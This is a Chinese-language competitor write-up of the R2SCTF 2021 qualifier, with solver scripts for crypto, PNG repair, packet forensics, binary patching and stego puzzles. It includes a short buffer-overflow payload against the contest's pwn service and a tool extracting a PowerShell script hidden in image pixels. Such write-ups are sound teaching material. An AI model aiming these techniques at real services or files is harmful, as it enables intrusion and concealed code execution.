--- title: R2SCTF 2021 Quals Write-Up description: 🛐 --- # R2SCTF 2021 Quals Write-Up --- Author: waig548 --- ## Summary 安安 這次的比賽算是我第二次認真(?)打過的 很多題目都挺有趣的 都很喜歡 ~~所以我説爲什麽問卷只能單選~~ 這次解掉的大多是rev, crpyto, forensics跟misc ~~pwn跟web的部分通靈能力不足~~ stego的部分則是嚴重不足跟~~中央卡我~~被系統坑到 雖然結束後有借助其他參賽者的建議/提示解出來 ~~可能或許也許應該大概會再補結束後解出來的東西~~ 大概就這樣吧 ~~底下是我寫很爛的write-up 麻煩各位`大大/大佬/大神/萌新/...`鞭小力點~~ ## Welcome ### Welcome to R2S CTF o((>ω< ))o 題目敘述說到discord上找flag ![](https://i.imgur.com/kSfd9Th.png) flag: `R2S{u_kn0w_7he_ru13s_n0w_s01v3_a1I_7he_Ch4ll3nge5s_u_c4n_s3e}` ## Crypto ### Base1024 > Base what? 拿到的`encode`檔全部都是emoji 稍微尋找一下找到一個叫`ecoji`的程式 裝好在cmd用`ecoji -d encode > decoded`就可以拿到flag :::info 用其他terminal (`Windows Termial`, `PowerShell`等)似乎會因爲編碼問題導致output是亂碼 但還沒有確認原因 ::: flag: `R2S{3мойи_бAсе_енцод3_ис_фун}` ### 2-AES 題目給了`task.py`跟`output.py`2個檔案 主要是用2個不同的key做雙重AES加密 ~~不過也很好心沒有128bit都要爆破~~ 其實這題找key的部分是其他隊友們先爆破找到~~然後被我偷走~~ 不會bruteforce的我: ![](https://media1.tenor.com/images/c890f256ed6a0fa7bb25f1d334245e38/tenor.gif?itemid=14677181) `payload.py`: ```python= #/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad kpre = b"make_it_easy_" size = AES.block_size - len(kpre) key1 = kpre + b'\x3B\x4C\x92' key2 = kpre + b'\x62\x68\x10' notflag = b"R2S{1m_n07_fl46}" def cipher(key, plaintext, mode = AES.MODE_ECB): encrypter = AES.new(key, mode) ciphertext = encrypter.encrypt(plaintext) return ciphertext def encrypt(key1, key2, plaintext): return cipher(key1,cipher(key2,pad(plaintext,AES.block_size))) def decipher(key, ciphertext, mode = AES.MODE_ECB): decrypter = AES.new(key, mode) plaintext = decrypter.decrypt(ciphertext) return plaintext def decrypt(key1, key2, ciphertext): return decipher(key1, decipher(key2, ciphertext)) if __name__ == '__main__': flagC = bytes.fromhex("ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5") flag = decrypt(key1, key2, flagC) print(flag) notflagC = encrypt(key1,key2,notflag) flagC = encrypt(key1,key2,flag) with open("output.py", "w+") as f: f.write(f"notflag = \"{notflag.hex()}\"\n") f.write(f"notflagC = \"{notflagC.hex()}\"\n") f.write(f"flagC = \"{flagC.hex()}\"\n") ``` ~~其實是從`task.py`直接改的~~ flag: `R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}` ## Forensic ### Headache > Aa4RrRg9hH 題目給了`task.png` 敘述大概是要修這張圖 Hint: `CRC32 is not changed.` and `Width and Height < 650` 先用`pngcheck`檢查 ![](https://i.imgur.com/RPNWmtJ.png) 看來PNG header可能有問題 ![](https://i.imgur.com/UBxyUkq.png) 這邊的header是`00 50 6E 67 0D 0A 1A 0A`但應該要是`89 50 4E 47 0D 0A 1A 0A` 修改之後在檢查一下 ![](https://i.imgur.com/Yz1CIlJ.png) PNG header之後應該要是IHDR chunk ![](https://i.imgur.com/Ss6HJeO.png) 這部分也要修一下 - `49 00 44 72` -> `49 48 44 52` ![](https://i.imgur.com/xMX61Rq.png) 由此可推測IHDR的`Width`跟`Height`有被動過 (計算出的CRC與chunk結尾的CRC不同) 根據Hint width跟height可能要自己爆破解符合CRC的組合 Payload: ```python= import os import binascii import struct misc = open("task-s.png","rb").read() for i in range(650): for j in range(650): data = misc[12:16] + struct.pack('>i',i) + struct.pack('>i', j) + misc[24:29] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == 0xF8FFF17E: print(hex(i)) print(hex(j)) ``` output: `0x223 0x5d` 改一下 ![](https://i.imgur.com/VqakAlq.png) 繼續check ![](https://i.imgur.com/yh58R4j.png) 看來是沒問題了 ![](https://i.imgur.com/rgm45wB.png) flag: `R2S{h3Ad3r_4Nd_CrC32_I5_1mP0rt4n7}` Reference: https://ctf-wiki.mahaloz.re/misc/picture/png/ ### md0 > Turns out, broken stuff remains broken even if you piece them back together. 題目給了`dump.pcap` 先用wireshark開起來看conversations ![](https://i.imgur.com/lasefsb.png) 有某幾個TCP stream的資料量有點大 隨便點一個看一下 ![](https://i.imgur.com/AAB8at6.png) 是FTP ~~雖然wireshark可以抓檔案出來但實在是太慢了所以改用NetworkMiner~~ ![](https://i.imgur.com/OcrZswX.png) 有10個影片 ~~不過有個的大小好像怪怪的~~ 稍微看了一下... 大部分都是meme 最後在`flagg.mp4`的右下角找到flag ![](https://i.imgur.com/0ptTqTU.png) flag: `R2S{https://youtu.be/072tU1tamd0}` 其實ㄋ 這題原本的檔案在傳輸`flaag.mp4`跟`flagg.mp4`有疑似掉包的情況 所以原先這2個檔案是開不起來的 ~~雖然根據火鍋meme的濃度或許也可以通靈出flag(?~~ ### H4cK3d > *Oh boy, here it comes.* 題目給了一個linux的image 二話不説當然是先mount起來 > *uh, LVM huh? Too bad my vm did not have this* 根據題目敘述看起來是有人拿到root做了某些事(? 先來看看`/root/.bash_history` ![](https://i.imgur.com/ZTHoAe8.png) hmm出現奇怪的東西了 看看`lib/systemd/system-networkd`裡是... ![](https://i.imgur.com/XpH5yLZ.png) 可能是某種後門(? 先把那東西抓下來研究看看好了 ~~公道價八萬一 先拆strings~~ `$ strings hK8wGawQHvkatDG7` ![](https://i.imgur.com/wXFeyC5.png) flag: `R2S{D1d_U_Ch3ck_t7e_cR0nT4b?_41so_7h15_b1n4ry_1s_N0t_a_Norm4l_Nc4t_<3}` 後來跟其他人討論發現有另一種做法: `strings H4cK3d.img | grep R2S` ![](https://i.imgur.com/XBW6Drj.png) ._. ## Pwn ### Buffer Builder pwn嘛 又要build buffer 當然就是**塞爆** 沒事 進入正題 ~~其實也沒有正題 所以先上payload~~ `payload.py`: ```python= from pwn import * # p = process('buffer_builder') p = remote('buffer.pwn.quals.r2s.tw', 34568) # pause() p.sendline('bUiLdE_7h3_Buff3r!'+p16(0x0000)+p32(0x0DEADBEEF)+p32(0x13371337)+p32(0x33333333)+p32(0x64864542)) p.interactive() ``` ![](https://i.imgur.com/7pKPy0z.png) flag: `R2S{by_7he_t1m3_u_p1ac3_v41u3_d0n7_f0rg3t_p4dd1ng!}` $_{_{對\ 很寒酸\ 我知道}}$ ## Web ### Psychic > Tag: Psychological Horror 題目要到我們到一個網站似乎在講述火鍋(?)的資料 [![](https://i.imgur.com/bk7pOI0.png)](https://youtu.be/072tU1tamd0) 不出所料的圖片會帶到那個影片去 不過這圖好像哪怪怪的 先抓下來看看 ![](https://i.imgur.com/yawe2su.png) ... > ok, fine 用一般的photo viewer看還是跟網頁上的一樣 改用honeyview (小畫家或其他編輯圖片的軟體應該也可以) ![](https://i.imgur.com/oXGyDa7.png) flag: `R2S{l1bpn6_r3nd3r5_d1ff3r3n7ly_huh}` > We're done here, Smith. ## Reverse ### pAtCh_mAn > *Something new to learn, and utilize...* 從標題跟敘述跟給的檔名大概是要patch給的binary 主要需要patch的地方有兩個部分 ![](https://i.imgur.com/yIkX0dH.png) 第一部分是`ready to pAtCh`的判定 -> ![](https://i.imgur.com/919QRaE.png) ~~對 我直接把jz改成jnz~~ 接下來是`print flag`的一長串cmp ![](https://i.imgur.com/toutntj.png) 原先我是把jnz改成jo ~~但題目不可能這麽單純所以失敗了~~ 時隔許久才注意到`cs:byte_203060`這串東西 ![](https://i.imgur.com/Nd3Rybl.png) > *太87了吧* > 把這些照著cmp的value改 ![](https://i.imgur.com/vCT6lTy.png) run看看 ![](https://i.imgur.com/7V67Yoq.png) flag: `R2S{y0u_4re_4_g00d_p4444444444444444444444444444444447ch_m4n!!!}` ### Jumping_master > Sorry, I'm lame. Can't jump. 根據敘述似乎是要跳坑(? 檔案是.exe格式 看起來有點特別 先給阿姨處理一下(?) ![](https://i.imgur.com/k6VqaCg.png) 是16-bit program... >*我的DOS安裝程式去哪了呢...* > ~~等等 我還有XPVM 我真聰明~~ ![](https://i.imgur.com/Y8L5J6R.png) > the what? 去找了一下DOS的interrupt表 `0x4C`會結束程式 ![](https://i.imgur.com/NHCd1Ua.png) `add ah, 43h`這邊會把`ah`變成`0x4C` ~~雖然好像應該要跳(?)過這部分 但我跳不動所以我決定要把坑填起來~~ ![](https://i.imgur.com/qQlOlaf.png) 再run一次看看 ![](https://i.imgur.com/RiQLT9h.png) 再下面一點有這段 ![](https://i.imgur.com/s0r7QbR.png) 看起來應該是要生一個檔案出來 但實際上沒有 那應該是在生檔案之前被終止或是跑到其他地方去了 > *那個`call si`好可疑* ![](https://i.imgur.com/HxMrzfN.png) 稍微往上發現`si`被指定到`900h`... ![](https://i.imgur.com/a7Iwwr8.png) 跑到程式外了 難怪 ![](https://i.imgur.com/HQfrOCI.png) > *job done* ![](https://i.imgur.com/6JGfhqW.png) ㄛ 這次不太一樣 多了`THANKS FOR PLAYING!` 看一下是不是多了檔案 ![](https://i.imgur.com/IM32qDS.png) 有了~ ![](https://i.imgur.com/bZFFPeU.png) flag: `R2S{W0w_y0u_kn0w_h0w_70_jump $o$ ^_^!!!}` ### What is this!? 題目給了一個幾乎是顔文字的txt檔 稍微查找確認是`aaencode` 雖然好像可以直接丟console跑但我還是自己把它拆回原始的js :::info 網路上好像有`aaencode`的解碼器 但在解這題的時候不知道 沒有試過 ~~所以我還是工人智慧了一下~~ ::: :::spoiler `aaencode` from [aaencode](https://utf-8.jp/public/aaencode.html) ```javascript= function aaencode( text ) { var t; var b = [ "(c^_^o)", "(゚Θ゚)", "((o^_^o) - (゚Θ゚))", "(o^_^o)", "(゚ー゚)", "((゚ー゚) + (゚Θ゚))", "((o^_^o) +(o^_^o))", "((゚ー゚) + (o^_^o))", "((゚ー゚) + (゚ー゚))", "((゚ー゚) + (゚ー゚) + (゚Θ゚))", "(゚Д゚) .゚ω゚ノ", "(゚Д゚) .゚Θ゚ノ", "(゚Д゚) ['c']", "(゚Д゚) .゚ー゚ノ", "(゚Д゚) .゚Д゚ノ", "(゚Д゚) [゚Θ゚]" ]; var r = "゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); "; if( /ひだまりスケッチ×(365|356)\s*来週も見てくださいね[!!]/.test( text ) ){ r += "X=_=3; "; r += "\r\n\r\n X / _ / X < \"来週も見てくださいね!\";\r\n\r\n"; } r += "(゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);"+ "(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] "+ ",゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] "+ ",゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];"+ "(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];"+ "(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];"+ "(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + "+ "((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+"+ "((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+"+ "((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+"+ "((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];"+ "(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+"+ "((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+"+ "((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; "+ "(゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\\\'; "+ "(゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];"+ "(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];"+//TODO "(゚Д゚) [゚o゚]='\\\"';"+ "(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+"; r += "(゚Д゚)[゚o゚]+ "; for( var i = 0; i < text.length; i++ ){ n = text.charCodeAt( i ); t = "(゚Д゚)[゚ε゚]+"; if( n <= 127 ){ t += n.toString( 8 ).replace( /[0-7]/g, function(c){ return b[ c ] + "+ "; } ); }else{ var m = /[0-9a-f]{4}$/.exec( "000" + n.toString(16 ) )[0]; t += "(o゚ー゚o)+ " + m.replace( /[0-9a-f]/gi, function(c){ return b[ parseInt( c,16 ) ] + "+ "; } ); } r += t; } r += "(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');"; return r; } ``` ::: 對 這是`aaencode`的原始碼 稍微解析一下encode後的結構大概是 | `aaencode` Header | Encoded Texts | `aaencode` End Header | | -------- | -------- | -------- | | ... | `(゚Д゚)[゚ε゚]+...` | `(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');` | Encoded Text的格式(for ASCII input)大概是 | Text Header | Encoded Oct Number | | -------- | -------- | | `(゚Д゚)[゚ε゚]+` | `First 8 values from b[] @ line 4` 手動拼回去再整理一下 -> `decoded.js`: ```javascript= const _0x1b47=['Y0u_','463203JocUyG','39846VURycp','37470TBOgZS','44956kMoUtH','lAg','410561ivfcIq','7dPVrwc','log','433664BAPrYE','60092YQRzND','NiC','g0T']; const _0x840c=function(_0x2f1311,_0x561d6d){ _0x2f1311=_0x2f1311-0xba; let _0x1b471d=_0x1b47[_0x2f1311]; return _0x1b471d; }; (function(_0x4fadb7,_0x395495){ const _0x186e58=_0x840c; while(!![]){ try{ const _0x57c202=parseInt(_0x186e58(0xc2))+parseInt(_0x186e58(0xbe))+parseInt(_0x186e58(0xc6))+-parseInt(_0x186e58(0xc1))+-parseInt(_0x186e58(0xba))+parseInt(_0x186e58(0xbf))*-parseInt(_0x186e58(0xbb))+parseInt(_0x186e58(0xbc)); if(_0x57c202===_0x395495) break; else _0x4fadb7['push'](_0x4fadb7['shift']()); } catch(_0x37fb83) { _0x4fadb7['push'](_0x4fadb7['shift']()); } } }(_0x1b47,0x3b544)); function a(){ return'R'; } function b(){ return a()+'2'; } function c(){ return b()+'S{'; } function d(){ const _0x4f09f3=_0x840c; return c()+_0x4f09f3(0xc3); } function e(){ return d()+'e_'; } function f(){ const _0x2808d3=_0x840c; return e()+_0x2808d3(0xc5); } function g(){ const _0x25bff6=_0x840c; return f()+_0x25bff6(0xc4); } function h(){ return g()+'_tHE'; } function i(){ return h()+'_'; } function j(){ return i()+'f'; } function k(){ const _0x498fe5=_0x840c; return j()+_0x498fe5(0xbd); } function l(){ return k()+'}'; } function _____O0Il1_____(){ const _0xc95e18=_0x840c,_0x5a9b50=console[_0xc95e18(0xc0)]; _0x5a9b50(l()); } ``` 丟進console後執行`_____O0Il1_____()` ![](https://i.imgur.com/EcRcMcz.png) flag: `R2S{NiCe_Y0u_g0T_tHE_flAg}` ## Misc ### Kon!Kon!Kon! > コン!コン!コン! 題目給的網址用瀏覽器開看起來是類shell ![](https://i.imgur.com/Vq8JHPb.png) 用nc連連看 ![](https://i.imgur.com/wCe3C4T.png) 根據瀏覽器的結果可能要輸入`Kon?!OuO`? ![](https://i.imgur.com/8J1uBdr.png) 打些指令看看 ![](https://i.imgur.com/GNYngbn.png) `K0N executable file`... I wonder... ![](https://i.imgur.com/ORoM0FE.png) 好ㄅ payload time `payload.py`: ```python= from pwn import * r = remote('konkonkon.misc.quals.r2s.tw', 3333) s ="" s = r.recvline() print(s) s = r.recvline() print(s) r.sendline('Kon?!OuO') s = r.recvline() print(s) r.sendline('kon read_flag') s = r.recvline() print(s) s = r.recvline() print(s) s = r.recvline() print(s) s = (s[:-5]) r.sendline(str(eval(s))) r.interactive() ``` > *it's kinda garbage, I know.* ![](https://i.imgur.com/rZVm4NE.png) flag: `R2S{K0n_kOn_k0N_1s_7he_m4gica1_sp3ll_2_al1_ur_pr0blems!}` ### Time Traveller > *Wooshhh\~~* 用瀏覽器就... 算了 先nc ![](https://i.imgur.com/9CuXJLp.png) 稍微試一下 ![](https://i.imgur.com/50LPI2H.png) 看來是以某個時間點做鏡射 算了一下大約是`2004-01-11` flag: `R2S{i_trY_tO_solvE_thE_grandfatheR_paradoX}` ### Weird Picture 題目給的圖會被某些防毒軟體擋掉... 看來是藏了某些東西在裡面 既然是png那先zsteg掃看看 ![](https://i.imgur.com/bmcUDOg.png) 在尾端有codeㄋ hmm... [`Invoke-PSImage`](https://github.com/peewpw/Invoke-PSImage)? 稍微找了一下如果把這串跟著圖片執行的話會執行包在圖裡的程式碼 稍作修改後 ![](https://i.imgur.com/h9MWkxs.png) Flag checker.. 還是看看能不能把code dump出來好了 `Dump.cs`: ```csharp= using System; using System.IO; namespace PSImageDump { class Program { static void Main(string[] args) { System.Drawing.Bitmap g = new System.Drawing.Bitmap("C:\\Users\\user\\Downloads\\r2sctf\\weied_pic\\I_dont_know.png"); Byte[] o = new Byte[2800]; for (int y = 0; y < 4; y++) { for(int x =0; x<700; x++) { var p = g.GetPixel(x, y); o[y * 700 + x] = (byte)((p.B & (byte)15) * (byte)16 | (p.G & (byte)15)); } } using StreamWriter of = new StreamWriter("C:\\Users\\user\\Downloads\\r2sctf\\weied_pic\\payload.ps1"); of.WriteLine(System.Text.Encoding.ASCII.GetString(o)); } } } ``` 其實只是把原本的PS code稍微修改一下 dump結果(已截去不可閲讀部分&整理) `payload.ps1`: ```bash= ${input} = &('Read-Host') -Prompt ('Flag') ${bytes} = [System.Text.Encoding]::ASCII.Getbytes(${input}) ${data} = @() ${keys} = @(('9778D5D219C5080B9A6A17BEF029331C'),('C0C7C76D30BD3DCAEFC96F40275BDC0A'),('FE9FC289C3FF0AF142B6D3BEAD98A923'),('202CB962AC59075B964B07152D234B70'),('C7E1249FFC03EB9DED908C236BD1996D'),('642E92EFB79421734881B53E1E1B18B6'),('5FD0B37CD7DBBB00F97BA6CE92BF5ADD'),('D82C8D1619AD8176D665453CFB2E55F0'),('B53B3A3D6AB90CE0268229151C9BDE11'),('812B4BA287F5EE0BC9D43BBF5BBE87FB'),('EC8956637A99787BD197EACD77ACCE5E'),('F457C545A9DED88F18ECEE47145A72C0'),('9A1158154DFA42CADDBD0694A4E9BDC8'),('A684ECEEE76FC522773286A895BC8436'),('812B4BA287F5EE0BC9D43BBF5BBE87FB'),('735B90B4568125ED6C3F678819B6E058'),('C9E1074F5B3F9FC8EA15D152ADD07294'),('2838023A778DFAECDC212708F721B788'),('AC627AB1CCBDB62EC96E702F07F6425B'),('A97DA629B098B75C294DFFDC3E463904'),('2838023A778DFAECDC212708F721B788'),('5FD0B37CD7DBBB00F97BA6CE92BF5ADD'),('812B4BA287F5EE0BC9D43BBF5BBE87FB'),('2838023A778DFAECDC212708F721B788'),('5EF059938BA799AAA845E1C2E8A762BD'),('2838023A778DFAECDC212708F721B788'),('5FD0B37CD7DBBB00F97BA6CE92BF5ADD'),('3DEF184AD8F4755FF269862EA77393DD')) foreach (${byte} in ${bytes}){ ${tmp} = &('Get-FileHash') -inputStream ([System.IO.MemoryStream]::New([System.Text.Encoding]::ASCII.Getbytes(${byte}))) -Algorithm md5 ${data} = ${data} + ${tmp}.Hash } if(${data}.Length -ne ${keys}.Length){ .('Write-Host') ('Wrong!') return } for ((${I} = 0);(${i} -ne ${data}.Length);${i}++){ if (${data}.Get(${I}) -ne ${keys}.Get(${i})){ .('Write-Host') ('Wrong!') return } } &('Write-Host') ('Flag Correct!') ``` 看來是把input切割做md5 hash再跟key比對 ~~反正case量不大 爆開啦 哪次不爆開的~~ `bruteforce.kt`: ```kotlin= import java.math.BigInteger import java.security.MessageDigest fun main() { val hashes = """ 9778d5d219c5080b9a6a17bef029331c c0c7c76d30bd3dcaefc96f40275bdc0a fe9fc289c3ff0af142b6d3bead98a923 202cb962ac59075b964b07152d234b70 c7e1249ffc03eb9ded908c236bd1996d 642e92efb79421734881b53e1e1b18b6 5fd0b37cd7dbbb00f97ba6ce92bf5add d82c8d1619ad8176d665453cfb2e55f0 b53b3a3d6ab90ce0268229151c9bde11 812b4ba287f5ee0bc9d43bbf5bbe87fb ec8956637a99787bd197eacd77acce5e f457c545a9ded88f18ecee47145a72c0 9a1158154dfa42caddbd0694a4e9bdc8 a684eceee76fc522773286a895bc8436 812b4ba287f5ee0bc9d43bbf5bbe87fb 735b90b4568125ed6c3f678819b6e058 c9e1074f5b3f9fc8ea15d152add07294 2838023a778dfaecdc212708f721b788 ac627ab1ccbdb62ec96e702f07f6425b a97da629b098b75c294dffdc3e463904 2838023a778dfaecdc212708f721b788 5fd0b37cd7dbbb00f97ba6ce92bf5add 812b4ba287f5ee0bc9d43bbf5bbe87fb 2838023a778dfaecdc212708f721b788 5ef059938ba799aaa845e1c2e8a762bd 2838023a778dfaecdc212708f721b788 5fd0b37cd7dbbb00f97ba6ce92bf5add 3def184ad8f4755ff269862ea77393dd """.trimIndent().split("\n") for(h in hashes) for(i in (0..127).map(Int::toString)) { val hh="%032x".format(BigInteger(1, MessageDigest.getInstance("MD5").digest(i.toByteArray()))) if(hh==h) { //print("$hh ") println(i.toInt().toChar()) break } } } ``` ![](https://i.imgur.com/Cxdp4XX.png) flag: `R2S{W0r57_f146_Ch3ck3r_3v3r}` ### Fat7z 這題給了`data`跟`compressor.py`2個檔案 既然是壓縮 那把`compressor.py`改寫一下*應該*就可以解壓縮了吧? `decompressor.py`: ```python= import base64 import gzip decoders = [base64.b32decode, base64.b64decode, base64.b85decode] data = open('data', 'r').read().encode('utf-8') decoded = base64.b85decode(data) i = 0 for i in range(350): print(f'{i} {len(decoded)}') decompressed = gzip.decompress(decoded) for decoder in decoders: try: tmp = decoder(decompressed) # check if the decode sequence should end prematurely if decoder is not base64.b85decode and decompressed[:-10].__contains__('='.encode()): continue decoded = tmp # print(f'{i} {decoder.__name__}') break except: continue print(decoded.decode('utf-8')) ``` ![](https://i.imgur.com/gewfCZS.png) flag: `R2S{W0W,Th1s_must_1s_the_best_FAT_C0MPR355_a1gorithm_l_guess}` ### How Regular is This > A doorway to a new dimension, also it's pretty fun. 題目給的圖是regex crossword 我這邊有把它rebuild出來: https://regexcrossword.com/playerpuzzles/60f2bba34f3c6 想玩的可以試試 :::spoiler answer ![](https://i.imgur.com/VdU3of4.png) ::: flag: `R2S{R3GEX_IS_FUN,_R19H7?_I7_C4N_FETCH_ANYTH1NG_U_WAN7_FR0M_UR_L0G5_AND_WEBP4GE5}` ### IP Over Telegram > *Haah*... Stressful... 題目給了`messages`檔案 内容就2位大大的傳輸記錄 稍微翻了一些題目link的repo之後~~跟通靈~~推測`messages`的内容是base64 encode後的packets 用scapy稍微分析了一下 封包都是`Raw IPv4` 經過數小時的努力 終於把内容的hexdump用出來了 ~~可以餵鯊魚了~~ `hexdump.py`: ```python= import base64 # manually sanitized data f = open('messages.processed.txt', 'r') o = open('messages.d.txt', 'w') pointer = 0 inputs = f.read().split('\n') pkts = [] for s in inputs: a = s[0:6] st = s[7:] try: decoded = base64.b64decode(st) except: continue for i in range(len(decoded)): if i % 16 == 0: o.write('\n%06x ' % pointer) o.write("%02x " % (decoded[i])) pointer += 1 o.write('\n%06x ' % pointer) pointer = 0 f.close() o.close() ``` 餵鯊魚time~ ![](https://i.imgur.com/lW5n0uP.png) ... > Ok, fine. 把IP header稍微調整一下應該就可以了吧? ![](https://i.imgur.com/Z0rm9Gm.png) > yeeeeee 稍微分析一下大概是其中一個送了`wget`的`GET` request後另一方回傳`HTTP 200`後再送檔案過去 分析一下wget request跟200的封包得知檔案都是7z壓縮檔的切割檔 切割大小為`100` bytes 而現在的問題是要把raw stream抓出來 ~~於是我又另外把raw的資料dump出來~~ `rawdump.py`: ```python= import base64 f = open('messages.processed.txt', 'r') o = open('messages.raw', 'wb') inputs = f.read().split('\n') for s in inputs: s = s[7:] try: decoded = base64.b64decode(s) o.write(decoded) except: continue f.close() o.close() ``` 於是我就開開心心的用著hex editor配著鯊鯊把檔案抓出來 如果有人好奇我是怎麽知道檔案的起點的話 ~~那是通靈出來的~~ 其實可以看`owo.7z.001`的檔案packet的7z header位置去推後面packet檔案的起點 ~~然後抓著抓著才注意到有些地方有順序反轉 謝謝你R 作者~~ 抓完後解壓縮會拿到`owo.png` ![](https://i.imgur.com/mJLIMpA.png) flag: `R2S{UwU_Telegram_can_be_VPN_super_smart?}`